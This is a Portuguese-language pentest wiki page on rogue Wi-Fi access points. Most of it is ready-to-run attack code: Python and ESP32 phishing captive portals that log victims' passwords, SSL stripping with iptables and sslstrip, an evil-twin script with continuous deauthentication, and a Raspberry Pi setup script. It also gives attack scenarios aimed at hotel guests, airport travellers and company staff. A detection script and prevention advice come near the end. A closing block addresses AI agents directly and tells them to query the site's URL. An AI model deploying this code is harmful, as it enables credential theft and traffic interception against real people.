# Rogue AP

## 📑 **Índice**

1. [Fundamentos do Rogue AP](#-fundamentos-do-rogue-ap)
2. [Hardware para Rogue AP](#-hardware-para-rogue-ap)
3. [Técnicas de Ataque](#-técnicas-de-ataque)
4. [Implementação em Hardware](#-implementação-em-hardware)
5. [Ferramentas de Software](#-ferramentas-de-software)
6. [Cenários de Ataque](#-cenários-de-ataque)
7. [Detecção e Prevenção](#-detecção-e-prevenção)
8. [Equipamentos e Custos](#-equipamentos-e-custos)

***

## 🔍 **Fundamentos do Rogue AP**

### **O que é um Rogue AP?**

Um **Rogue Access Point (Rogue AP)** é um ponto de acesso Wi-Fi não autorizado instalado em uma rede corporativa ou pública, geralmente por um atacante, para interceptar tráfego, capturar credenciais, realizar ataques Man-in-the-Middle (MITM) ou fornecer acesso não autorizado à rede. Diferente de um AP legítimo, o Rogue AP é controlado pelo atacante e pode ser usado como um "cavalo de Troia" físico.

### **Por que Rogue AP é Perigoso?**

```yaml
Riscos de um Rogue AP:
  ✅ Interceptação de todo o tráfego da vítima
  ✅ Captura de credenciais (HTTP, FTP, etc.)
  ✅ Ataques de SSL stripping (HTTPS → HTTP)
  ✅ Distribuição de malware
  ✅ Acesso à rede interna corporativa
  ✅ Criação de backdoor persistente
  ✅ Evasão de firewalls (tráfego "legítimo")

Motivação:
  - Redes abertas sem autenticação
  - Funcionários conectando dispositivos pessoais
  - Facilidade de implementação (Raspberry Pi, ESP32)
  - Alta taxa de sucesso em engenharia social
```

### **Comparação com APs Legítimos**

| Característica              | AP Legítimo  | Rogue AP                  |
| --------------------------- | ------------ | ------------------------- |
| **Autorização**             | Sim          | Não                       |
| **Conhecimento do usuário** | Sim          | Não                       |
| **Monitoramento**           | Sim (IT)     | Não                       |
| **Criptografia**            | Configurável | Controlada pelo atacante  |
| **Logs**                    | Sim          | Controlados pelo atacante |
| **Firmware**                | Oficial      | Modificado                |
| **Backdoor**                | Não          | Possível                  |

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Rede Legítima"
        A[Usuário] --> B[AP Legítimo]
        B --> C[Gateway]
        C --> D[Internet]
    end
    
    subgraph "Ataque Rogue AP"
        A --> E[Rogue AP (Atacante)]
        E --> F[Captura de Dados]
        E --> C
        F --> G[Credenciais]
        F --> H[Tráfego]
    end
```

***

## 🛠️ **Hardware para Rogue AP**

### **Dispositivos para Rogue AP**

| Dispositivo                | Chipset    | Banda     | Potência | Preço (R$)   | Onde Comprar              | Vantagens         |
| -------------------------- | ---------- | --------- | -------- | ------------ | ------------------------- | ----------------- |
| **Raspberry Pi 4 + Wi-Fi** | BCM43455   | 2.4/5 GHz | 100mW    | \~R$400-600  | Shopee, Mercado Livre     | Potente, versátil |
| **Raspberry Pi Zero 2 W**  | CYW43439   | 2.4 GHz   | 100mW    | \~R$150-200  | Shopee, AliExpress        | Pequeno, barato   |
| **ESP32**                  | ESP32      | 2.4 GHz   | 100mW    | \~R$40-60    | Shopee, AliExpress        | Muito barato      |
| **GL.iNet AR300M**         | QCA9531    | 2.4/5 GHz | 200mW    | \~R$250-400  | AliExpress                | OpenWrt pronto    |
| **Pineapple (Hak5)**       | AR9331     | 2.4 GHz   | 500mW    | \~R$800-1200 | Hak5, eBay                | Especializado     |
| **Alfa AWUS036ACH**        | RTL8812AU  | 2.4/5 GHz | 500mW    | \~R$300-500  | AliExpress, Mercado Livre | Alto ganho        |
| **TP-Link TL-WN722N**      | AR9271     | 2.4 GHz   | 200mW    | \~R$80-150   | Mercado Livre             | Modo monitor      |
| **Total Setup Básico**     | ESP32      | 2.4 GHz   | -        | \~R$80-120   | -                         | -                 |
| **Total Setup Avançado**   | RPi + Alfa | 2.4/5 GHz | -        | \~R$800-1200 | -                         | -                 |

***

## ⚔️ **Técnicas de Ataque**

### **1. Rogue AP com Captura de Credenciais (Evil Portal)**

```python
#!/usr/bin/env python3
# evil_portal.py

import subprocess
import threading
import socket
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilPortal:
    """
    Portal cativo para captura de credenciais
    """
    
    def __init__(self, interface='wlan0', ssid='Free_WiFi'):
        self.interface = interface
        self.ssid = ssid
        self.credentials = []
    
    def create_ap(self):
        """
        Criar Access Point
        """
        print(f"[*] Criando AP: {self.ssid}")
        
        # Configurar hostapd
        hostapd_conf = f"""
interface={self.interface}
driver=nl80211
ssid={self.ssid}
hw_mode=g
channel=6
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
"""
        with open('/tmp/hostapd.conf', 'w') as f:
            f.write(hostapd_conf)
        
        # Configurar dnsmasq
        dnsmasq_conf = f"""
interface={self.interface}
dhcp-range=192.168.4.2,192.168.4.100,255.255.255.0,24h
dhcp-option=3,192.168.4.1
dhcp-option=6,192.168.4.1
address=/#/192.168.4.1
"""
        with open('/tmp/dnsmasq.conf', 'w') as f:
            f.write(dnsmasq_conf)
        
        # Configurar IP
        subprocess.call(f"ifconfig {self.interface} 192.168.4.1 netmask 255.255.255.0 up", shell=True)
        
        # Iniciar serviços
        subprocess.Popen(['hostapd', '/tmp/hostapd.conf'])
        subprocess.Popen(['dnsmasq', '-C', '/tmp/dnsmasq.conf'])
        
        print("[+] AP criado com sucesso")
    
    def create_phishing_page(self):
        """
        Criar página de phishing
        """
        html = '''
        <!DOCTYPE html>
        <html>
        <head>
            <title>Wi-Fi Login</title>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                    margin: 0;
                    padding: 0;
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    height: 100vh;
                }
                .login-box {
                    background: white;
                    padding: 40px;
                    border-radius: 10px;
                    box-shadow: 0 15px 35px rgba(0,0,0,0.2);
                    width: 300px;
                    text-align: center;
                }
                h2 { color: #333; margin-bottom: 20px; }
                input {
                    width: 100%;
                    padding: 12px;
                    margin: 10px 0;
                    border: 1px solid #ddd;
                    border-radius: 5px;
                    box-sizing: border-box;
                }
                button {
                    width: 100%;
                    padding: 12px;
                    background: #667eea;
                    color: white;
                    border: none;
                    border-radius: 5px;
                    cursor: pointer;
                    font-size: 16px;
                }
                button:hover { background: #5a67d8; }
                .error { color: red; margin-top: 10px; }
            </style>
        </head>
        <body>
            <div class="login-box">
                <h2>Conecte-se à rede Wi-Fi</h2>
                <form method="POST" action="/login">
                    <input type="email" name="email" placeholder="E-mail" required>
                    <input type="password" name="password" placeholder="Senha" required>
                    <button type="submit">Conectar</button>
                </form>
            </div>
        </body>
        </html>
        '''
        
        with open('/tmp/index.html', 'w') as f:
            f.write(html)
        
        return '/tmp/index.html'
    
    def start_server(self):
        """
        Iniciar servidor HTTP
        """
        class Handler(BaseHTTPRequestHandler):
            def do_GET(self):
                with open('/tmp/index.html', 'rb') as f:
                    self.send_response(200)
                    self.send_header('Content-type', 'text/html')
                    self.end_headers()
                    self.wfile.write(f.read())
            
            def do_POST(self):
                content_length = int(self.headers['Content-Length'])
                post_data = self.rfile.read(content_length).decode()
                print(f"[!] CREDENCIAIS CAPTURADAS: {post_data}")
                
                self.send_response(302)
                self.send_header('Location', 'https://www.google.com')
                self.end_headers()
        
        server = HTTPServer(('0.0.0.0', 80), Handler)
        server.serve_forever()
    
    def start(self):
        """
        Iniciar Evil Portal
        """
        print("=== Evil Portal - Rogue AP ===\n")
        
        self.create_ap()
        self.create_phishing_page()
        
        # Iniciar servidor em thread separada
        server_thread = threading.Thread(target=self.start_server)
        server_thread.daemon = True
        server_thread.start()
        
        print(f"[+] Evil Portal ativo em {self.ssid}")
        print("[+] Aguardando vítimas...")

# Uso
# portal = EvilPortal(ssid='Free_WiFi')
# portal.start()
```

### **2. Rogue AP com SSL Stripping**

```python
#!/usr/bin/env python3
# rogue_ap_sslstrip.py

import subprocess
import threading

class RogueAPSSLStrip:
    """
    Rogue AP com SSL stripping (HTTPS → HTTP)
    """
    
    def __init__(self, interface='wlan0', ssid='Secure_WiFi'):
        self.interface = interface
        self.ssid = ssid
    
    def setup_rogue_ap(self):
        """
        Configurar Rogue AP
        """
        print(f"[*] Configurando Rogue AP: {self.ssid}")
        
        # Configurar iptables para redirecionamento
        subprocess.call("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080", shell=True)
        subprocess.call("iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443", shell=True)
        
        # Iniciar AP
        cmd = f"airbase-ng -e '{self.ssid}' -c 6 {self.interface}"
        subprocess.Popen(cmd, shell=True)
        
        print("[+] Rogue AP ativo")
    
    def start_sslstrip(self):
        """
        Iniciar SSL strip
        """
        print("[*] Iniciando SSL stripping...")
        
        # sslstrip
        subprocess.Popen(['sslstrip', '-l', '8443', '-k', '8080'])
        
        # dns2proxy para redirecionamento DNS
        subprocess.Popen(['dns2proxy', '-i', self.interface])
        
        print("[+] SSL stripping ativo")
    
    def capture_credentials(self):
        """
        Capturar credenciais
        """
        print("[*] Capturando credenciais...")
        
        # Usar tcpdump para capturar tráfego
        cmd = f"tcpdump -i {self.interface} -A -l | grep -E 'POST|GET|password|login|user'"
        subprocess.run(cmd, shell=True)
    
    def start(self):
        """
        Iniciar ataque completo
        """
        print("=== Rogue AP + SSL Strip ===\n")
        
        self.setup_rogue_ap()
        self.start_sslstrip()
        self.capture_credentials()

# Uso
# attack = RogueAPSSLStrip(ssid='Secure_WiFi')
# attack.start()
```

### **3. Rogue AP com Desautenticação (Evil Twin)**

```python
#!/usr/bin/env python3
# evil_twin.py

import subprocess
import time
import threading

class EvilTwinAttack:
    """
    Ataque de Evil Twin (Rogue AP com mesmo SSID)
    """
    
    def __init__(self, interface='wlan0', target_ssid=None, target_bssid=None):
        self.interface = interface
        self.target_ssid = target_ssid
        self.target_bssid = target_bssid
        self.channel = 6
    
    def scan_networks(self):
        """
        Escanear redes Wi-Fi
        """
        print("[*] Escaneando redes Wi-Fi...")
        
        cmd = f"airodump-ng {self.interface}"
        subprocess.run(cmd, shell=True)
        
        return True
    
    def deauth_clients(self):
        """
        Desautenticar clientes do AP original
        """
        print(f"[*] Desautenticando clientes de {self.target_ssid}")
        
        cmd = f"aireplay-ng -0 0 -a {self.target_bssid} {self.interface}"
        subprocess.Popen(cmd, shell=True)
        
        return True
    
    def create_evil_twin(self):
        """
        Criar Evil Twin (AP com mesmo SSID)
        """
        print(f"[*] Criando Evil Twin: {self.target_ssid}")
        
        # Configurar hostapd com mesmo SSID
        hostapd_conf = f"""
interface={self.interface}
driver=nl80211
ssid={self.target_ssid}
hw_mode=g
channel={self.channel}
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
"""
        with open('/tmp/hostapd.conf', 'w') as f:
            f.write(hostapd_conf)
        
        # Iniciar AP
        subprocess.Popen(['hostapd', '/tmp/hostapd.conf'])
        
        print("[+] Evil Twin ativo")
    
    def start_captive_portal(self):
        """
        Iniciar portal cativo
        """
        print("[*] Iniciando portal cativo...")
        
        # Configurar iptables
        subprocess.call("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.4.1:80", shell=True)
        
        # Servidor HTTP
        from http.server import HTTPServer, BaseHTTPRequestHandler
        
        class PortalHandler(BaseHTTPRequestHandler):
            def do_GET(self):
                html = '''
                <html>
                <body>
                    <h2>Atualização de Segurança</h2>
                    <p>Por favor, faça login novamente para continuar.</p>
                    <form method="POST">
                        <input type="text" name="user" placeholder="Usuário"><br>
                        <input type="password" name="pass" placeholder="Senha"><br>
                        <input type="submit" value="Entrar">
                    </form>
                </body>
                </html>
                '''
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(html.encode())
            
            def do_POST(self):
                content_length = int(self.headers['Content-Length'])
                data = self.rfile.read(content_length)
                print(f"[!] CREDENCIAIS: {data}")
                self.send_response(302)
                self.send_header('Location', 'https://www.google.com')
                self.end_headers()
        
        server = HTTPServer(('0.0.0.0', 80), PortalHandler)
        server.serve_forever()
    
    def start(self):
        """
        Iniciar Evil Twin attack
        """
        print("=== Evil Twin Attack ===\n")
        
        self.create_evil_twin()
        
        # Iniciar portal em thread separada
        portal_thread = threading.Thread(target=self.start_captive_portal)
        portal_thread.daemon = True
        portal_thread.start()
        
        # Desautenticar clientes originais
        if self.target_bssid:
            time.sleep(5)
            self.deauth_clients()
        
        print(f"[+] Evil Twin ativo: {self.target_ssid}")
        print("[+] Vítimas se conectarão ao AP falso")

# Uso
# attack = EvilTwinAttack(target_ssid='Starbucks_WiFi')
# attack.start()
```

***

## 💻 **Implementação em Hardware**

### **Raspberry Pi – Rogue AP Completo**

```bash
#!/bin/bash
# setup_rogue_ap.sh - Configuração de Rogue AP no Raspberry Pi

echo "=== Configurando Rogue AP ==="

# Atualizar sistema
sudo apt update && sudo apt upgrade -y

# Instalar dependências
sudo apt install -y hostapd dnsmasq iptables netfilter-persistent

# Configurar hostapd
cat > /etc/hostapd/hostapd.conf << EOF
interface=wlan0
driver=nl80211
ssid=Free_WiFi
hw_mode=g
channel=6
wmm_enabled=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
EOF

# Configurar dnsmasq
cat > /etc/dnsmasq.conf << EOF
interface=wlan0
dhcp-range=192.168.4.2,192.168.4.100,255.255.255.0,24h
dhcp-option=3,192.168.4.1
dhcp-option=6,192.168.4.1
address=/#/192.168.4.1
log-queries
log-dhcp
EOF

# Configurar IP da interface
sudo ifconfig wlan0 192.168.4.1 netmask 255.255.255.0 up

# Configurar IP forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Configurar iptables
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT

# Salvar regras
sudo netfilter-persistent save

# Iniciar serviços
sudo systemctl unmask hostapd
sudo systemctl enable hostapd
sudo systemctl start hostapd
sudo systemctl enable dnsmasq
sudo systemctl start dnsmasq

echo "[+] Rogue AP configurado com sucesso!"
```

### **ESP32 – Rogue AP Mínimo**

```cpp
// esp32_rogue_ap.ino
#include <WiFi.h>
#include <DNSServer.h>
#include <WebServer.h>

const byte DNS_PORT = 53;
DNSServer dnsServer;
WebServer webServer(80);

// Configuração do AP
const char* ssid = "Free_WiFi";
const char* password = NULL;  // Rede aberta

// Página de phishing
const char* loginPage = R"rawliteral(
<!DOCTYPE html>
<html>
<head>
    <title>Wi-Fi Login</title>
    <style>
        body { font-family: Arial; text-align: center; margin-top: 100px; }
        input { padding: 10px; margin: 5px; width: 250px; }
        button { padding: 10px 20px; background: #4CAF50; color: white; border: none; }
    </style>
</head>
<body>
    <h2>Conecte-se à rede Wi-Fi</h2>
    <form method="POST" action="/login">
        <input type="text" name="email" placeholder="E-mail"><br>
        <input type="password" name="password" placeholder="Senha"><br>
        <button type="submit">Conectar</button>
    </form>
</body>
</html>
)rawliteral";

void setup() {
    Serial.begin(115200);
    
    // Iniciar Access Point
    WiFi.softAP(ssid, password);
    Serial.println("[+] AP iniciado");
    Serial.print("IP: ");
    Serial.println(WiFi.softAPIP());
    
    // Configurar DNS spoofing
    dnsServer.start(DNS_PORT, "*", WiFi.softAPIP());
    
    // Configurar web server
    webServer.on("/", []() {
        webServer.send(200, "text/html", loginPage);
    });
    
    webServer.on("/login", []() {
        String email = webServer.arg("email");
        String password = webServer.arg("password");
        
        Serial.print("[!] Credenciais capturadas: ");
        Serial.print(email);
        Serial.print(" : ");
        Serial.println(password);
        
        webServer.sendHeader("Location", "https://www.google.com", true);
        webServer.send(302, "text/plain", "");
    });
    
    webServer.begin();
    Serial.println("[+] Servidor HTTP iniciado");
}

void loop() {
    dnsServer.processNextRequest();
    webServer.handleClient();
}
```

### **Pineapple WiFi – Hak5 (Profissional)**

```yaml
Pineapple WiFi (Hak5):
  
  Características:
    - Hardware especializado
    - Interface web para gerenciamento
    - Módulos pré-configurados
    - Suporte a múltiplas interfaces
    - Potência de transmissão ajustável
  
  Módulos para Rogue AP:
    - Evil Portal (portal cativo)
    - DNS Spoof (redirecionamento DNS)
    - SSLstrip (HTTPS → HTTP)
    - Karma (responde a probes de clientes)
    - Deauth (desautenticação)
    - Beacon Flood (inundação de beacons)
  
  Vantagens:
    - Plug-and-play
    - Alta potência (500mW)
    - Interface amigável
    - Comunidade ativa
  
  Preço: ~R$800-1200 (importação)
```

***

## 🎯 **Cenários de Ataque**

### **Cenário 1: Ataque a Rede Corporativa**

```yaml
Cenário: Funcionário se conecta a Rogue AP
  
  Procedimento:
    1. Atacante instala Rogue AP próximo ao escritório
    2. AP tem SSID semelhante ao corporativo (ex: "Empresa_Guest")
    3. Funcionário conecta dispositivo pessoal
    4. Tráfego é interceptado
    5. Credenciais de e-mail são capturadas
    6. Atacante acessa rede corporativa via VPN
  
  Equipamento:
    - Raspberry Pi Zero 2 W (discreto)
    - Bateria portátil
    - Case impresso em 3D
  
  Impacto:
    - Acesso à rede interna
    - Roubo de dados corporativos
    - Movimentação lateral
```

### **Cenário 2: Ataque a Hotel**

```yaml
Cenário: Hóspedes de hotel
  
  Procedimento:
    1. Atacante cria AP com SSID "Hotel_WiFi_Free"
    2. Hóspedes se conectam (buscando Wi-Fi grátis)
    3. Portal cativo solicita "login" (captura credenciais)
    4. Redirecionamento para sites bancários falsos
    5. Captura de dados de cartão de crédito
  
  Equipamento:
    - ESP32 (muito pequeno)
    - Power bank
    - Antena de médio ganho
  
  Impacto:
    - Dados de cartão de crédito
    - Credenciais de e-mail
    - Informações pessoais
```

### **Cenário 3: Ataque a Aeroporto**

```yaml
Cenário: Viajantes em aeroporto
  
  Procedimento:
    1. Atacante cria AP com SSID "Airport_Free_WiFi"
    2. Viajantes se conectam automaticamente (SSID comum)
    3. SSL stripping para downgrade HTTPS → HTTP
    4. Captura de e-mails e senhas
    5. Redirecionamento para sites maliciosos
  
  Equipamento:
    - Raspberry Pi 4
    - Alfa AWUS036ACH (alto ganho)
    - Bateria de alta capacidade
  
  Impacto:
    - Contas de e-mail
    - Acesso a redes sociais
    - Propagação de malware
```

***

## 🛡️ **Detecção e Prevenção**

### **Sinais de Rogue AP**

```yaml
Indicadores para Usuários:
  - Dois APs com mesmo SSID (Evil Twin)
  - Sinal de Wi-Fi muito forte (AP próximo)
  - Certificado SSL inválido em sites seguros
  - Redirecionamentos inesperados
  - Páginas solicitando login repetidamente
  - Conexão caindo frequentemente

Indicadores para Administradores:
  - MAC address desconhecido nos switches
  - APs não registrados no inventário
  - Tráfego anormal na rede
  - Alertas de WIDS/WIPS
  - Clientes conectados a APs não autorizados
```

### **Ferramentas de Detecção**

```bash
# Detectar Rogue APs com airodump
airodump-ng wlan0mon

# Detectar Evil Twin
airmon-ng start wlan0
airodump-ng wlan0mon --essid "Starbucks_WiFi"

# Usar WIDS (Wireless Intrusion Detection System)
# Kismet - detector de Rogue APs
kismet

# Wireshark para análise de tráfego
tshark -i wlan0 -Y "wlan.fc.type_subtype == 0x08"  # Beacons

# Python para detecção
python3 rogue_ap_detector.py
```

### **Script de Detecção de Rogue AP**

```python
#!/usr/bin/env python3
# rogue_ap_detector.py

from scapy.all import *
import threading

class RogueAPDetector:
    """
    Detector de Rogue APs
    """
    
    def __init__(self, interface='wlan0mon'):
        self.interface = interface
        self.known_bssids = set()
        self.rogue_aps = []
    
    def load_known_aps(self, filepath='known_aps.txt'):
        """
        Carregar APs conhecidos
        """
        try:
            with open(filepath, 'r') as f:
                for line in f:
                    self.known_bssids.add(line.strip().upper())
            print(f"[+] {len(self.known_bssids)} APs conhecidos carregados")
        except:
            print("[!] Nenhum AP conhecido carregado")
    
    def packet_handler(self, packet):
        """
        Analisar pacote beacon
        """
        if packet.haslayer(Dot11Beacon):
            bssid = packet.addr2.upper()
            ssid = packet.info.decode() if packet.info else "<Hidden>"
            channel = ord(packet[Dot11Elt:3].info)
            
            if bssid not in self.known_bssids:
                print(f"[!] ROGUE AP DETECTADO!")
                print(f"    BSSID: {bssid}")
                print(f"    SSID: {ssid}")
                print(f"    Canal: {channel}")
                print(f"    Potência: {packet.dBm_AntSignal} dBm")
                print()
                
                self.rogue_aps.append({
                    'bssid': bssid,
                    'ssid': ssid,
                    'channel': channel,
                    'power': packet.dBm_AntSignal
                })
    
    def start_detection(self, duration=60):
        """
        Iniciar detecção
        """
        print(f"[*] Detectando Rogue APs em {self.interface}")
        sniff(iface=self.interface, prn=self.packet_handler, timeout=duration)
        
        print(f"\n[+] Total de Rogue APs detectados: {len(self.rogue_aps)}")
        return self.rogue_aps

# Uso
# detector = RogueAPDetector()
# detector.load_known_aps('known_aps.txt')
# rogue_aps = detector.start_detection()
```

### **Prevenção**

```yaml
Medidas de Prevenção:
  
  Para Usuários:
    - Verificar o nome do AP antes de conectar
    - Usar VPN em redes públicas
    - Desativar conexão automática a redes abertas
    - Verificar certificados SSL
    - Usar autenticação de dois fatores
  
  Para Empresas:
    - Implementar 802.1X (autenticação empresarial)
    - Usar WIDS/WIPS (deteção/prevenção)
    - Monitorar APs não autorizados
    - Política de "no rogue APs"
    - Segmentação de rede (VLANs)
    - Auditoria periódica de segurança
  
  Configurações de Segurança:
    - Desabilitar SSID broadcast (ocultar rede)
    - Usar WPA2-Enterprise (não PSK)
    - Implementar certificados digitais
    - Monitorar logs de autenticação
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
Rogue AP:
  ✅ Técnica eficaz e acessível
  ✅ Hardware barato (ESP32: ~R$40)
  ✅ Alta taxa de sucesso
  ✅ Pode ser combinado com outras técnicas

Ameaças:
  - Captura de credenciais
  - Interceptação de tráfego
  - Acesso a redes internas
  - Distribuição de malware

Defesas:
  - WIDS/WIPS
  - 802.1X
  - VPN
  - Conscientização do usuário
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/iot/rogue-ap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
